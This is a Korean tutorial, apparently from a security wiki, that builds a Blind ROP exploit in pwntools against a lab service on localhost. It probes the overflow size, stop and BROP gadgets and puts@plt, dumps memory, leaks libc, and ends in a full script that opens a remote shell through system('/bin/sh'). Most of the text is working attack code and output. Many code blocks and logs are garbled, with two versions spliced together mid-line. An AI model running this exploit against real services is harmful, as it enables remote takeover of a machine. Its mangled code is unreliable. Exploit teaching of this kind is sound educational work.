...
- 해당 스크립드를 실행하면 다음과 같이 문자열의 길이를 확인 할 수 있습니다.
- 즉, 해당 길이의 문자열 뒤에 원하는 값을 저장하면 Return address를 덮어쓸수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./check_overflow.py [*] Overflow size : 72 |
...
Code Block | ||||
---|---|---|---|---|
| ||||
base = 0x400000 def find_stop_gadget(size): p = log.progress("Searching for Stop gadget ") for offset in range(1,0x1000): addr = int(base + offset) payload = '' payload += 'A' * size payload += p64(addr) if offset % 0x100 == 0: log.info(" Progressed to 0x%x" % offset) try: r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.send(payload) response = r.recv(timeout=0.2) r.close() if 'WelCome my friend,Do you know password?' in response: p.success("Done") log.info("Stop address: " + hex(addr)) return addr except Exception as e: r.close() |
- 다음과 같이 앞에서 작성한 스크립트를 이용해 Stop Gadget을 찾을 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP./find_stop_gadget.py [*] Overflow size : 72 [!+] currentlySearching at 0x100 [!] currently at 0x200 [!] currently at 0x300 [!] currently at 0x400 [!] currently at 0x500for Stop gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Stop Progressed address:to 0x4005c00x400 [*] STOP Gadget Progressed to 0x500 [*] Stop address: 0x4005c0 |
- 발견된 Stop Gadget은 "_start() 함수의 시작 주소"입니다.
- 즉, 해당 함수에 의해 main() 함수가 다시 호출됩니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
def maybe_BROP_gadget(size, stop_gadget, addr): try: payload = '' payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) response = r.recv(timeout=0.2) r.close() if 'WelCome my friend,Do you know password?' in response: return True return False except Exception as e: r.close() return False |
- 다음과 같이 Stop Gadget을 제거하고 BROP Gadget으로 추측되는 주소만을 사용해서 전달합니다.
- 예외가 발생하면 BROP Gadget으로 판단합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
def is_BROP_gadget(size,addr):
try:
payload = ''
payload += 'A' * size
payload += p64(addr)
payload += p64(0x41) * 10
r = remote(ip,port,level='error')
r.recvuntil('WelCome my friend,Do you know password?\n')
r.sendline(payload)
response = r.recv()
r.close()
return False
except Exception as e:
return True |
- 다음 코드를 이용하여 BROP Gadget을 찾을 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
def find_brop_gadget(size,stop_gadget): p = log.progress("Searching for BROP gadget ") for offset in range(10x1,0x1000): if offset % 0x100 == 0: print "[!] currently at 0x%x"log.info('Progressed to 0x%x' % offset) addr = int(base + offset) if maybe_BROP_gadget(size,stop_gadget,addr): log.info('Maybe BROP Gagget : ' + hex(int(base + offset))) if is_BROP_gadget(size, addr): logp.info('Finded BROP Gagget : success("Done") log.info('Finded BROP Gagget : ' + hex(int(base + offset))) return addr |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python maybe_BROP_gadget.py [*] Overflow size : 72 [*+] Searching for STOPStop Gadgetgadget : 0x4005c0Done [!*] currently Progressed atto 0x100 [!*] currentlyProgressed atto 0x200 [!*] currently Progressed atto 0x300 [!*] currentlyProgressed atto 0x400 [!*] currently Progressed atto 0x500 [*] Maybe BROP Gagget Stop address: 0x4005c0 [*+] MaybeSearching for BROP Gaggetgadget : 0x4005c2Done [*] MaybeProgressed BROP Gagget : 0x4005c3to 0x100 [*] MaybeProgressed BROP Gagget : 0x4005c5to 0x200 [*] Maybe Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [!*] currentlyProgressed atto 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [!*] currentlyProgressed atto 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [*+] BROP Gadget : 0x4007ba [*+] RDI Gadget : 0x4007c3 |
Get puts@plt address
...
Code Block | ||||
---|---|---|---|---|
| ||||
def find_puts_addr(size,stop_gadget,rdi_ret): forp offset in range(= log.progress("Searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload = '' payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: print "[!] currently at 0x%x"log.info('Progressed to 0x%x' % offset) r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) try: response = r.recv() if response.startswith('\x7fELF'): print p.success("Done") log.success('find puts@plt addr: 0x%x' % addr) return addr r.close() addr += 1 except Exception as e: r.close() addr += 1 |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROPfind_puts_addr.py [*] Overflow size : 72 [*+] Searching STOPfor Stop Gadgetgadget : 0x4005c0Done [*] BROP GadgetProgressed :to 0x4007ba0x100 [*] RDI GadgetProgressed :to 0x4007c30x200 [!*] currentlyProgressed atto 0x100 [!] currently at0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] Searching for BROP gadget : Done [*] Progressed to 0x100 [*] Progressed to 0x200 [!*] currentlyProgressed atto 0x300 [!*] currentlyProgressed atto 0x400 [!*] currentlyProgressed atto 0x500 find puts@plt addr: 0x400555[*] Maybe BROP Gagget : 0x4005c0 [*] Maybe PutsBROP pltGagget : 0x400555 |
Dump memory
- 다음 코드를 이용하여 프로그램의 메모리를 덤프 할 수 있습니다.
- 앞에서 찾은 puts@plt주소를 이용하여 프로그램 메모리를 덤프 할 수 있습니다.
0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Searching for the address of puts@plt : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[+] find puts@plt addr: 0x400555
[+] Puts plt : 0x400555 |
Dump memory
- 다음 코드를 이용하여 프로그램의 메모리를 덤프 할 수 있습니다.
- 앞에서 찾은 puts@plt주소를 이용하여 프로그램 메모리를 덤프 할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
def memory_dump(size,stop_gadget,rdi_ret,put_plt):
now = base
end = 0x401000
dump = ""
p = log.progress("Memory dump")
while now < end:
if now % 0x100 == 0:
log.info("Progressed to 0x%x" % now)
payload = ''
payload += 'A' * size
payload += p64(rdi_ret)
payload += p64(now)
payload += p64(puts_plt)
payload += p64(stop_gadget)
r = remote(ip,port,level='error') | ||||
Code Block | ||||
| ||||
def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" while now < end: if now % 0x100 == 0: log.info("Progressed to 0x%x" % now) r.recvuntil('WelCome my friend,Do you know password?\n') payload = ''r.sendline(payload) payloadtry: += 'A' * size payloaddata += p64(rdi_retr.recv(timeout=0.5) payload += p64r.close(now) payload += p64(puts_plt) data = data[:data.index("\nWelCome")] payload += p64(stop_gadget) r = remote(ip,port,level='error') except ValueError as r.recvuntil('WelCome my friend,Do you know password?\n') e: data r.sendline(payload) = data except Exception as trye: continue data = r.recv(timeout=0.5) if rlen(data.closesplit()) == 0: data = data[:data.index("\nWelCome")] '\x00' dump += data exceptnow ValueError as e:+= len(data) data = data except Exceptionwith open('memory.dump','wb') as ef: continuef.write(dump) p.success("Done") |
- 스크립트를 실행하면 다음과 같이 memory.dump 파일이 생성됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python memory_dump.py [*] Overflow size : 72 [+] BROP Gadget : if len(data.split()) == 0: data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) |
- 스크립트를 실행하면 다음과 같이 memory.dump 파일이 생성됩니다.
Code Block | ||
---|---|---|
| ||
0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[+] Memory dump: Done
[*] Progressed to 0x400000
[*] Progressed to 0x400100
[*] Progressed to 0x400200
[*] Progressed to 0x400300
[*] Progressed to 0x400400
[*] Progressed to 0x400500
[*] Progressed to 0x400900
[*] Progressed to 0x400a00
[*] Progressed to 0x400b00
[*] Progressed to 0x400c00
[*] Progressed to 0x400d00
[*] Progressed to 0x400e00
[*] Progressed to 0x400f00
lazenca0x0@ubuntu:~/Exploit/BROP$ ls
brop BROP.py libc memory.dump run.sh
lazenca0x0@ubuntu:~/Exploit/BROP$ file memory.dump
memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading (Invalid argument)
lazenca0x0@ubuntu:~/Exploit/BROP$ |
...
Info |
---|
Leak address
다음 코드를 이용하여 puts@got 영역에 저장된 libc address를 추출할 수 있습니다.
Code Block | ||
---|---|---|
| ||
def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):got): payload = '' payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline('A' * size + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget))payload) leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True) leakAddr = ru64(leakAddr.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True) print leakAddr leakAddr = u64(leakAddr.ljust(8, '\x00')) return leakAddrljust(8, '\x00')) return leakAddr |
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python leak_address.py
[*] Overflow size : 72
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[*] Address of puts in libc : 0x7f760f884690
lazenca0x0@ubuntu:~/Exploit/BROP$ |
Libc Search
다음과 같이 libc-database에서 제공하는 프로그램을 이용하여 libc의 정보를 찾을 수 있습니다.
puts@got에 저장된 값을 추출하여 프로그램에서 사용하는 libc 파일의 종류 및 필요한 함수의 offset을 찾을 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./add /usr/lib/libc-2.26.so lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./find puts 690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64 offset___libc_start_main_ret = 0x20830 offset_system = 0x0000000000045390 offset_dup2 = 0x00000000000f7970 offset_read = 0x00000000000f7250 offset_write = 0x00000000000f72b0 offset_str_bin_sh = 0x18cd57 lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64 puts offset_puts = 0x000000000006f690 lazenca0x0@ubuntu:~/Exploit/BROP/libc/libc-database$ |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROPlibc_search.py [*] Overflow size : 72 [*] STOP Gadget : 0x4005c0 [*] BROP Gadget : 0x4007ba [*] RDI Gadget : 0x4007c3 [*] Puts plt : 0x400555 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. [*] libc base : 0x7fc974723000 [*] system : 0x7fc974768390 [*] binsh : 0x7fc9748afd57 |
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from LibcSearcher import * context#context.log_level = 'debug' ip = '127.0.0.1' port = 10001 base = 0x400000 def check_Overflow(): for i in range(1,4096 base = 0x400000 def find_stop_gadget(size): p = log.progress("Searching for try: Stop gadget ") for offset r = remote(ip,port,level='error')in range(1,0x1000): addr = int(base + responseoffset) = r.recvuntil('WelCome my friend,Do you know password?\n') payload = '' payload r.send("A"+= 'A' * i)size responsepayload += r.recvp64(addr) r.close() if offset % 0x100 == 0: if 'No password, no game' in response: log.info(" Progressed to 0x%x" % offset) i += 1try: else:r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you r.close know password?\n') r.send(payload) return i response except EOFError as e:= r.recv(timeout=0.2) r.close() return iif - 1 def find_stop_gadget(size): for offset in range(1,0x1000): 'WelCome my friend,Do you know password?' in response: addr = int(base + offset p.success("Done") payload = ''log.info("Stop address: " + hex(addr)) payload += 'A' * size r.close() payload += p64(addr) return addr if offset %except 0x100Exception ==as 0e: log.info("Progressed to 0x%x" % offset) r.close() def check_Overflow(): for i in range(1,4096): try: r = remote(ip,port,level='error') response = r.recvuntil('WelCome my friend,Do you know password?\n') r.send(payload"A" * i) response = r.recv(timeout=0.2) r.close() if 'No password, no game' in response: i if 'WelCome my friend,Do you know password?' in response: += 1 else: log.info("Stop address: " + hexr.close(addr)) return addri except ExceptionEOFError as e: r.close() return i - 1 def maybe_BROP_gadget(size, stop_gadget, addr): try: payload = '' payload += 'A' * size payload += p64(addr) payload += p64(0) * 6 payload += p64(stop_gadget) r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) response = r.recv(timeout=0.2) r.close() if 'WelCome my friend,Do you know password?' in response: return True return False except Exception as e: r.close() return False def is_BROP_gadget(size,addr): try: payload = '' payload += 'A' * size payload += p64(addr) payload += p64(0x41) * 10 r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) response = r.recv() r.close() return False except Exception as e: r.close() return True def find_brop_gadget(size,stop_gadget): p = log.progress("Searching for BROP gadget ") for offset in range(10x1,0x1000): if offset % 0x100 == 0: log.info("'Progressed to 0x%x"' % offset) addr = int(base + offset) if maybe_BROP_gadget(size,stop_gadget,addr): log.info('Maybe BROP Gagget : ' + hex(int(base + offset))) if is_BROP_gadget(size, addr): p.success("Done") log.info('Finded BROP Gagget : ' + hex(int(base + offset))) return addr def find_puts_addr(size,stop_gadget,rdi_ret): p = log.progress("Searching for the address of puts@plt") for offset in range(1,0x1000): addr = int(base + offset) payload = '' payload += 'A' * size + p64(rdi_ret) payload += p64(0x400000) payload += p64(addr) payload += p64(stop_gadget) if offset % 0x100 == 0: log.info("'Progressed to 0x%x"' % offset) r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) try: response = r.recv() if response.startswith('\x7fELF'): p.success("Done") if responselog.startswithsuccess('\x7fELF'):find puts@plt addr: 0x%x' % addr) return addr r.close() addr += 1 except Exception as e: r.close() addr += 1 def memory_dump(size,stop_gadget,rdi_ret,put_plt): now = base end = 0x401000 dump = "" p = log.progress("Memory dump") while now < end: if now % 0x100 == 0: log.info("Progressed to 0x%x" % now) payload = '' payload += 'A' * size payload += p64(rdi_ret) payload += p64(now) payload += p64(puts_plt) payload += p64(stop_gadget) r = remote(ip,port,level='error') r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) try: data = r.recv(timeout=0.5) r.close() data = data[:data.index("\nWelCome")] except ValueError as e: data = data except Exception as e: continue if len(data.split()) == 0: data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) p.success("Done") def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): payload = '' payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) r.recvuntil('WelCome my friend,Do you know password?\n') r.sendline(payload) leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True) leakAddr = u64(leakAddr.ljust(8, '\x00')) return leakAddr #sizesize = check_Overflow() size = 72 log.successinfo('Overflow size : ' + str(size)) stop_gadget = find_stop_gadget(size) #stop_gadget = 0x4005c0 log.success('STOP Gadget : ' + hex(stop_gadget)) brop_gadget = find_brop_gadget(size, stop_gadget) #brop_gadget = 0x4007ba log.success('BROP Gadget : ' + hex(brop_gadget)) rdi_gadget = brop_gadget + 9 log.success('RDI Gadget : ' +hex(rdi_gadget)) puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget) #puts_plt = 0x400555 log.success('Puts plt : ' + hex(puts_plt)) #memory_dump(size,stop_gadget,rdi_gadget,puts_plt) puts_got = 0x601018 r = remote(ip,port,level='error') addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got) #loglog.info('Address of puts in libc : ' + hex(addr_puts_libc)) lib = LibcSearcher('puts', addr_puts_libc) libcBase = addr_puts_libc - lib.dump('puts') system_addr = libcBase + lib.dump('system') binsh_addr = libcBase + lib.dump('str_bin_sh') log.successinfo('libc base : ' + hex(libcBase)) log.successinfo('system : ' + hex(system_addr)) log.successinfo('binsh : ' + hex(binsh_addr)) payload = "A" * size payload += p64(rdi_gadget) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_gadget) r.sendline(payload) r.interactive() |
...